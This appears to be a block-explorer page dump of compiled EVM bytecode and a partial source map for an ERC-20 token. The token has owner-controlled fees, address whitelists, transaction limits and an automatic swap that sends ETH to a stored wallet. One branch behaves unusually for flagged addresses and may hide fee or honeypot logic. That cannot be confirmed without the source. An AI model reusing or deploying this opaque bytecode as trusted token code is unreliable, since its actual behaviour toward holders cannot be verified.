0000000000000000000000000000000000000000000081565b3480156104cd57600080fd5b5060105461028c565b3480156104e257600080fd5b506102336104f1366004611598565b6107c8565b34801561050257600080fd5b50610233610511366004611598565b610817565b34801561052257600080fd5b50610536610531366004611622565b610824565b005b34801561054457600080fd5b50601254610263906001600160a01b031681565b34801561056457600080fd5b50610233610573366004611605565b600a6020526000908152604090205460ff1681565b34801561059457600080fd5b5060125461023390600160b01b900460ff1681565b3480156105b557600080fd5b5061028c6105c4366004611644565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156105fb57600080fd5b5061028c600f5481565b34801561061157600080fd5b506004546102639061010090046001600160a01b031681565b34801561063657600080fd5b50610233610645366004611605565b600b6020526000908152604090205460ff1681565b34801561066657600080fd5b506105366108db565b60606002805461067e9061167d565b80601f01602080910402602001604051908101604052809291908181526020018280546106aa9061167d565b80156106f75780601f106106cc576101008083540402835291602001916106f7565b820191906000526020600020905b8154815290600101906020018083116106da57829003601f168201915b5050505050905090565b600061070e33848461097f565b5060015b92915050565b6000610725848484610aa3565b5061077884336107738560405180606001604052806028815260200161181a602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610f5f565b61097f565b5060015b9392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161070e9185906107739086610f99565b60606003805461067e9061167d565b600061070e338461077385604051806060016040528060258152602001611842602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610f5f565b6000610778338484610aa3565b6000546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60128054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906108d090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146109355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161087a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383166109e15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161087a565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161087a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161087a565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161087a565b601254600160a01b900460ff1615610b8f57610b88848484610ff8565b905061077c565b6001600160a01b03841660009081526009602052604090205460ff16158015610bd157506001600160a01b03831660009081526009602052604090205460ff16155b15610c3457600e54821115610c345760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74207265616368656420746865206d6178206044820152623a3c1760e91b606482015260840161087a565b3060009081526005602052604090205460105481108015908190610c625750601254600160a01b900460ff16155b8015610c8757506001600160a01b0386166000908152600a602052604090205460ff16155b8015610c9c5750601254600160a81b900460ff165b15610cc257601254600160b01b900460ff1615610cb95760105491505b610cc2826110de565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054610d14918690610f5f565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff1680610d6157506001600160a01b03861660009081526007602052604090205460ff165b15610d9c57610d708787611152565b15610d9557600c805462ff0000191662010000179055610d8e611195565b9050610e7d565b5083610e7d565b6001600160a01b0387166000908152600a602052604081205460ff1615610dc957610dc6866111af565b90505b6001600160a01b0387166000908152600a602052604090205460ff1615610e6f57610df3866111ca565b90508015610e6f5730600090815260056020526040902054610e159082610f99565b30600081815260056020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e669085815260200190565b60405180910390a35b610e798682611230565b9150505b6001600160a01b03861660009081526008602052604090205460ff16610ed457600f54610ec982610ec3896001600160a01b031660009081526005602052604090205490565b90610f99565b1115610ed457600080fd5b6001600160a01b038616600090815260056020526040902054610ef79082610f99565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4b9085815260200190565b60405180910390a36001935050505061077c565b60008184841115610f835760405162461bcd60e51b815260040161087a9190611532565b506000610f9084866116cd565b95945050505050565b600080610fa683856116e0565b90508381101561077c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611049918490610f5f565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546110789083610f99565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cc9086815260200190565b60405180910390a35060019392505050565b6012805460ff60a01b1916600160a01b1790556000611109606461110384600a611272565b906112f4565b905060006111178383611230565b905061112281611336565b600454479061113f9061010090046001600160a01b0316826114c9565b50506012805460ff60a01b191690555050565b6001600160a01b0381166000908152600b602052604081205460ff16801561077c575050506001600160a01b03166000908152600a602052604090205460ff1690565b600d546000906111aa90600160ff1b90611230565b905090565b600c546000906107129060649061110390859060ff16611272565b60408051808201909152600c54610100900460ff1681526000906107129060649061110390602081016111ff600160636116f3565b60ff908116909152600c5462010000900416600281106112215761122161170c565b6020020151859060ff16611272565b600061077c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f5f565b60008260000361128457506000610712565b60006112908385611722565b90508261129d8583611739565b1461077c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087a565b600061077c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611504565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b5761136b61170c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e8919061175b565b816001815181106113fb576113fb61170c565b6001600160a01b039283166020918202929092010152601154611421913091168461097f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145a9085906000908690309042906004016117bc565b600060405180830381600087803b15801561147457600080fd5b505af1158015611488573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516114bd9291906117f8565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114ff573d6000803e3d6000fd5b505050565b600081836115255760405162461bcd60e51b815260040161087a9190611532565b506000610f908486611739565b600060208083528351808285015260005b8181101561155f57858101830151858201604001528201611543565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159557600080fd5b50565b600080604083850312156115ab57600080fd5b82356115b681611580565b946020939093013593505050565b6000806000606084860312156115d957600080fd5b83356115e481611580565b925060208401356115f481611580565b929592945050506040919091013590565b60006020828403121561161757600080fd5b813561077c81611580565b60006020828403121561163457600080fd5b8135801515811461077c57600080fd5b6000806040838503121561165757600080fd5b823561166281611580565b9150602083013561167281611580565b809150509250929050565b600181811c9082168061169157607f821691505b6020821081036116b157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610712576107126116b7565b80820180821115610712576107126116b7565b60ff8281168282160390811115610712576107126116b7565b634e487b7160e01b600052603260045260246000fd5b8082028115828204841417610712576107126116b7565b60008261175657634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561176d57600080fd5b815161077c81611580565b600081518084526020808501945080840160005b838110156117b15781516001600160a01b03168752958201959082019060010161178c565b509495945050505050565b85815284602082015260a0604082015260006117db60a0830186611778565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006118116040830184611778565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220135d57a947086af049e932dd701f989ffcbb8c1084da362e9dec9cace36a679f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c80637d1db4a511610102578063c816841b11610095578063e52f36e111610064578063e52f36e1146105ef578063f19f1e9014610605578063f4c2aaf71461062a578063fa2f7a8f1461065a57600080fd5b8063c816841b14610538578063d53401b714610558578063da00097d14610588578063dd62ed3e146105a957600080fd5b8063a073d37f116100d1578063a073d37f146104c1578063a457c2d7146104d6578063a9059cbb146104f6578063c49b9a801461051657600080fd5b80637d1db4a5146104445780638da5cb5b1461045a57806395d89b41146104785780639d2a66d31461048d57600080fd5b8063395093511161017a578063590f897e11610149578063590f897e1461038f578063658c27a9146103ae5780636dd3d39f146103de57806370a082311461040e57600080fd5b8063395093511461030457806340b9a54b146103245780634a74bb021461033e5780635342acb41461035f57600080fd5b806318160ddd116101b657806318160ddd1461027b57806323b872dd1461029a578063283f7820146102ba578063313ce567146102ec57600080fd5b806306fdde03146101e8578063095ea7b3146102135780631694505e1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61066f565b60405161020a9190611532565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611598565b610701565b604051901515815260200161020a565b34801561024f57600080fd5b50601154610263906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561028757600080fd5b50600d545b60405190815260200161020a565b3480156102a657600080fd5b506102336102b53660046115c4565b610718565b3480156102c657600080fd5b50600c546102da9062010000900460ff1681565b60405160ff909116815260200161020a565b3480156102f857600080fd5b5060045460ff166102da565b34801561031057600080fd5b5061023361031f366004611598565b610783565b34801561033057600080fd5b50600c546102da9060ff1681565b34801561034a57600080fd5b5060125461023390600160a81b900460ff1681565b34801561036b57600080fd5b5061023361037a366004611605565b60076020526000908152604090205460ff1681565b34801561039b57600080fd5b50600c546102da90610100900460ff1681565b3480156103ba57600080fd5b506102336103c9366004611605565b60096020526000908152604090205460ff1681565b3480156103ea57600080fd5b506102336103f9366004611605565b60086020526000908152604090205460ff1681565b34801561041a57600080fd5b5061028c610429366004611605565b6001600160a01b031660009081526005602052604090205490565b34801561045057600080fd5b5061028c600e5481565b34801561046657600080fd5b506000546001600160a01b0316610263565b34801561048457600080fd5b506101fd6107b9565b34801561049957600080fd5b506102637f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104cd57600080fd5b5060105461028c565b3480156104e257600080fd5b506102336104f1366004611598565b6107c8565b34801561050257600080fd5b50610233610511366004611598565b610817565b34801561052257600080fd5b50610536610531366004611622565b610824565b005b34801561054457600080fd5b50601254610263906001600160a01b031681565b34801561056457600080fd5b50610233610573366004611605565b600a6020526000908152604090205460ff1681565b34801561059457600080fd5b5060125461023390600160b01b900460ff1681565b3480156105b557600080fd5b5061028c6105c4366004611644565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156105fb57600080fd5b5061028c600f5481565b34801561061157600080fd5b506004546102639061010090046001600160a01b031681565b34801561063657600080fd5b50610233610645366004611605565b600b6020526000908152604090205460ff1681565b34801561066657600080fd5b506105366108db565b60606002805461067e9061167d565b80601f01602080910402602001604051908101604052809291908181526020018280546106aa9061167d565b80156106f75780601f106106cc576101008083540402835291602001916106f7565b820191906000526020600020905b8154815290600101906020018083116106da57829003601f168201915b5050505050905090565b600061070e33848461097f565b5060015b92915050565b6000610725848484610aa3565b5061077884336107738560405180606001604052806028815260200161181a602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610f5f565b61097f565b5060015b9392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161070e9185906107739086610f99565b60606003805461067e9061167d565b600061070e338461077385604051806060016040528060258152602001611842602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610f5f565b6000610778338484610aa3565b6000546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60128054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906108d090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146109355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161087a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383166109e15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161087a565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161087a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161087a565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161087a565b601254600160a01b900460ff1615610b8f57610b88848484610ff8565b905061077c565b6001600160a01b03841660009081526009602052604090205460ff16158015610bd157506001600160a01b03831660009081526009602052604090205460ff16155b15610c3457600e54821115610c345760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74207265616368656420746865206d6178206044820152623a3c1760e91b606482015260840161087a565b3060009081526005602052604090205460105481108015908190610c625750601254600160a01b900460ff16155b8015610c8757506001600160a01b0386166000908152600a602052604090205460ff16155b8015610c9c5750601254600160a81b900460ff165b15610cc257601254600160b01b900460ff1615610cb95760105491505b610cc2826110de565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054610d14918690610f5f565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff1680610d6157506001600160a01b03861660009081526007602052604090205460ff165b15610d9c57610d708787611152565b15610d9557600c805462ff0000191662010000179055610d8e611195565b9050610e7d565b5083610e7d565b6001600160a01b0387166000908152600a602052604081205460ff1615610dc957610dc6866111af565b90505b6001600160a01b0387166000908152600a602052604090205460ff1615610e6f57610df3866111ca565b90508015610e6f5730600090815260056020526040902054610e159082610f99565b30600081815260056020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e669085815260200190565b60405180910390a35b610e798682611230565b9150505b6001600160a01b03861660009081526008602052604090205460ff16610ed457600f54610ec982610ec3896001600160a01b031660009081526005602052604090205490565b90610f99565b1115610ed457600080fd5b6001600160a01b038616600090815260056020526040902054610ef79082610f99565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4b9085815260200190565b60405180910390a36001935050505061077c565b60008184841115610f835760405162461bcd60e51b815260040161087a9190611532565b506000610f9084866116cd565b95945050505050565b600080610fa683856116e0565b90508381101561077c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611049918490610f5f565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546110789083610f99565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cc9086815260200190565b60405180910390a35060019392505050565b6012805460ff60a01b1916600160a01b1790556000611109606461110384600a611272565b906112f4565b905060006111178383611230565b905061112281611336565b600454479061113f9061010090046001600160a01b0316826114c9565b50506012805460ff60a01b191690555050565b6001600160a01b0381166000908152600b602052604081205460ff16801561077c575050506001600160a01b03166000908152600a602052604090205460ff1690565b600d546000906111aa90600160ff1b90611230565b905090565b600c546000906107129060649061110390859060ff16611272565b60408051808201909152600c54610100900460ff1681526000906107129060649061110390602081016111ff600160636116f3565b60ff908116909152600c5462010000900416600281106112215761122161170c565b6020020151859060ff16611272565b600061077c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f5f565b60008260000361128457506000610712565b60006112908385611722565b90508261129d8583611739565b1461077c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087a565b600061077c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611504565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b5761136b61170c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e8919061175b565b816001815181106113fb576113fb61170c565b6001600160a01b039283166020918202929092010152601154611421913091168461097f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145a9085906000908690309042906004016117bc565b600060405180830381600087803b15801561147457600080fd5b505af1158015611488573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516114bd9291906117f8565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114ff573d6000803e3d6000fd5b505050565b600081836115255760405162461bcd60e51b815260040161087a9190611532565b506000610f908486611739565b600060208083528351808285015260005b8181101561155f57858101830151858201604001528201611543565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159557600080fd5b50565b600080604083850312156115ab57600080fd5b82356115b681611580565b946020939093013593505050565b6000806000606084860312156115d957600080fd5b83356115e481611580565b925060208401356115f481611580565b929592945050506040919091013590565b60006020828403121561161757600080fd5b813561077c81611580565b60006020828403121561163457600080fd5b8135801515811461077c57600080fd5b6000806040838503121561165757600080fd5b823561166281611580565b9150602083013561167281611580565b809150509250929050565b600181811c9082168061169157607f821691505b6020821081036116b157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610712576107126116b7565b80820180821115610712576107126116b7565b60ff8281168282160390811115610712576107126116b7565b634e487b7160e01b600052603260045260246000fd5b8082028115828204841417610712576107126116b7565b60008261175657634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561176d57600080fd5b815161077c81611580565b600081518084526020808501945080840160005b838110156117b15781516001600160a01b03168752958201959082019060010161178c565b509495945050505050565b85815284602082015260a0604082015260006117db60a0830186611778565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006118116040830184611778565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220135d57a947086af049e932dd701f989ffcbb8c1084da362e9dec9cace36a679f64736f6c63430008130033

Deployed Bytecode Sourcemap

13430:10425:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16406:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17692:161;;;;;;;;;;-1:-1:-1;17692:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17692:161:0;1023:187:1;14666:41:0;;;;;;;;;;-1:-1:-1;14666:41:0;;;;-1:-1:-1;;;;;14666:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;14666:41:0;1215:230:1;16683:100:0;;;;;;;;;;-1:-1:-1;16763:12:0;;16683:100;;;1596:25:1;;;1584:2;1569:18;16683:100:0;1450:177:1;18733:313:0;;;;;;;;;;-1:-1:-1;18733:313:0;;;;;:::i;:::-;;:::i;14368:26::-;;;;;;;;;;-1:-1:-1;14368:26:0;;;;;;;;;;;;;;2265:4:1;2253:17;;;2235:36;;2223:2;2208:18;14368:26:0;2093:184:1;16592:83:0;;;;;;;;;;-1:-1:-1;16658:9:0;;;;16592:83;;17069:218;;;;;;;;;;-1:-1:-1;17069:218:0;;;;;:::i;:::-;;:::i;14305:24::-;;;;;;;;;;-1:-1:-1;14305:24:0;;;;;;;;14781:40;;;;;;;;;;-1:-1:-1;14781:40:0;;;;-1:-1:-1;;;14781:40:0;;;;;;14017:50;;;;;;;;;;-1:-1:-1;14017:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14336:25;;;;;;;;;;-1:-1:-1;14336:25:0;;;;;;;;;;;14137:52;;;;;;;;;;-1:-1:-1;14137:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14074:56;;;;;;;;;;-1:-1:-1;14074:56:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16791:119;;;;;;;;;;-1:-1:-1;16791:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16884:18:0;16857:7;16884:18;;;:9;:18;;;;;;;16791:119;14467:55;;;;;;;;;;;;;;;;5219:79;;;;;;;;;;-1:-1:-1;5257:7:0;5284:6;-1:-1:-1;;;;;5284:6:0;5219:79;;16497:87;;;;;;;;;;;;;:::i;13788:89::-;;;;;;;;;;;;;;;17572:112;;;;;;;;;;-1:-1:-1;17661:15:0;;17572:112;;17295:269;;;;;;;;;;-1:-1:-1;17295:269:0;;;;;:::i;:::-;;:::i;18558:167::-;;;;;;;;;;-1:-1:-1;18558:167:0;;;;;:::i;:::-;;:::i;18206:171::-;;;;;;;;;;-1:-1:-1;18206:171:0;;;;;:::i;:::-;;:::i;:::-;;14714:26;;;;;;;;;;-1:-1:-1;14714:26:0;;;;-1:-1:-1;;;;;14714:26:0;;;14196:44;;;;;;;;;;-1:-1:-1;14196:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14828:45;;;;;;;;;;-1:-1:-1;14828:45:0;;;;-1:-1:-1;;;14828:45:0;;;;;;16918:143;;;;;;;;;;-1:-1:-1;16918:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17026:18:0;;;16999:7;17026:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16918:143;14530:59;;;;;;;;;;;;;;;;13690:91;;;;;;;;;;-1:-1:-1;13690:91:0;;;;;;;-1:-1:-1;;;;;13690:91:0;;;14247:45;;;;;;;;;;-1:-1:-1;14247:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5444:147;;;;;;;;;;;;;:::i;16406:83::-;16443:13;16476:5;16469:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16406:83;:::o;17692:161::-;17767:4;17784:39;334:10;17807:7;17816:6;17784:8;:39::i;:::-;-1:-1:-1;17841:4:0;17692:161;;;;;:::o;18733:313::-;18831:4;18848:36;18858:6;18866:9;18877:6;18848:9;:36::i;:::-;-1:-1:-1;18895:121:0;18904:6;334:10;18926:89;18964:6;18926:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18926:19:0;;;;;;:11;:19;;;;;;;;334:10;18926:33;;;;;;;;;;:37;:89::i;:::-;18895:8;:121::i;:::-;-1:-1:-1;19034:4:0;18733:313;;;;;;:::o;17069:218::-;334:10;17157:4;17206:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17206:34:0;;;;;;;;;;17157:4;;17174:83;;17197:7;;17206:50;;17245:10;17206:38;:50::i;16497:87::-;16536:13;16569:7;16562:14;;;;;:::i;17295:269::-;17388:4;17405:129;334:10;17428:7;17437:96;17476:15;17437:96;;;;;;;;;;;;;;;;;334:10;17437:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17437:34:0;;;;;;;;;;;;:38;:96::i;18558:167::-;18636:4;18653:42;334:10;18677:9;18688:6;18653:9;:42::i;18206:171::-;5353:6;;-1:-1:-1;;;;;5353:6:0;334:10;5353:22;5345:67;;;;-1:-1:-1;;;5345:67:0;;4224:2:1;5345:67:0;;;4206:21:1;;;4243:18;;;4236:30;4302:34;4282:18;;;4275:62;4354:18;;5345:67:0;;;;;;;;;18283:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;18283:32:0::1;-1:-1:-1::0;;;;18283:32:0;;::::1;;::::0;;18331:38:::1;::::0;::::1;::::0;::::1;::::0;18307:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;18331:38:0::1;;;;;;;;18206:171:::0;:::o;5444:147::-;5353:6;;-1:-1:-1;;;;;5353:6:0;334:10;5353:22;5345:67;;;;-1:-1:-1;;;5345:67:0;;4224:2:1;5345:67:0;;;4206:21:1;;;4243:18;;;4236:30;4302:34;4282:18;;;4275:62;4354:18;;5345:67:0;4022:356:1;5345:67:0;5550:1:::1;5534:6:::0;;5513:40:::1;::::0;-1:-1:-1;;;;;5534:6:0;;::::1;::::0;5513:40:::1;::::0;5550:1;;5513:40:::1;5581:1;5564:19:::0;;-1:-1:-1;;;;;;5564:19:0::1;::::0;;5444:147::o;17861:337::-;-1:-1:-1;;;;;17954:19:0;;17946:68;;;;-1:-1:-1;;;17946:68:0;;4585:2:1;17946:68:0;;;4567:21:1;4624:2;4604:18;;;4597:30;4663:34;4643:18;;;4636:62;-1:-1:-1;;;4714:18:1;;;4707:34;4758:19;;17946:68:0;4383:400:1;17946:68:0;-1:-1:-1;;;;;18033:21:0;;18025:68;;;;-1:-1:-1;;;18025:68:0;;4990:2:1;18025:68:0;;;4972:21:1;5029:2;5009:18;;;5002:30;5068:34;5048:18;;;5041:62;-1:-1:-1;;;5119:18:1;;;5112:32;5161:19;;18025:68:0;4788:398:1;18025:68:0;-1:-1:-1;;;;;18106:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18158:32;;1596:25:1;;;18158:32:0;;1569:18:1;18158:32:0;;;;;;;17861:337;;;:::o;19054:2386::-;19141:4;-1:-1:-1;;;;;19168:20:0;;19160:70;;;;-1:-1:-1;;;19160:70:0;;5393:2:1;19160:70:0;;;5375:21:1;5432:2;5412:18;;;5405:30;5471:34;5451:18;;;5444:62;-1:-1:-1;;;5522:18:1;;;5515:35;5567:19;;19160:70:0;5191:401:1;19160:70:0;-1:-1:-1;;;;;19249:23:0;;19241:71;;;;-1:-1:-1;;;19241:71:0;;5799:2:1;19241:71:0;;;5781:21:1;5838:2;5818:18;;;5811:30;5877:34;5857:18;;;5850:62;-1:-1:-1;;;5928:18:1;;;5921:33;5971:19;;19241:71:0;5597:399:1;19241:71:0;19328:16;;-1:-1:-1;;;19328:16:0;;;;19325:2108;;;19378:41;19393:6;19401:9;19412:6;19378:14;:41::i;:::-;19371:48;;;;19325:2108;-1:-1:-1;;;;;19475:27:0;;;;;;:19;:27;;;;;;;;19474:28;:63;;;;-1:-1:-1;;;;;;19507:30:0;;;;;;:19;:30;;;;;;;;19506:31;19474:63;19471:173;;;19576:12;;19566:6;:22;;19558:70;;;;-1:-1:-1;;;19558:70:0;;6203:2:1;19558:70:0;;;6185:21:1;6242:2;6222:18;;;6215:30;6281:34;6261:18;;;6254:62;-1:-1:-1;;;6332:18:1;;;6325:33;6375:19;;19558:70:0;6001:399:1;19558:70:0;19721:4;19672:28;16884:18;;;:9;:18;;;;;;19797:15;;19773:39;;;;;;;19845:44;;-1:-1:-1;19873:16:0;;-1:-1:-1;;;19873:16:0;;;;19872:17;19845:44;:68;;;;-1:-1:-1;;;;;;19894:19:0;;;;;;:11;:19;;;;;;;;19893:20;19845:68;:93;;;;-1:-1:-1;19917:21:0;;-1:-1:-1;;;19917:21:0;;;;19845:93;19841:296;;;19976:25;;-1:-1:-1;;;19976:25:0;;;;19973:89;;;20047:15;;20024:38;;19973:89;20081:36;20096:20;20081:14;:36::i;:::-;20173:53;;;;;;;;;;;-1:-1:-1;;;20173:53:0;;;;;;;;-1:-1:-1;;;;;20173:17:0;;-1:-1:-1;20173:17:0;;;:9;:17;;;;;;;;:53;;20195:6;;20173:21;:53::i;:::-;-1:-1:-1;;;;;20153:17:0;;;;;;:9;:17;;;;;;;;:73;;;;20294:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;20323:28:0;;;;;;:17;:28;;;;;;;;20294:57;20291:785;;;20374:37;20393:6;20401:9;20374:18;:37::i;:::-;20371:141;;;20413:9;:13;;-1:-1:-1;;20413:13:0;;;;;20445:17;:15;:17::i;:::-;20428:35;;20291:785;;20371:141;-1:-1:-1;20504:6:0;20291:785;;;-1:-1:-1;;;;;20606:19:0;;20564:20;20606:19;;;:11;:19;;;;;;;;20603:62;;;20642:2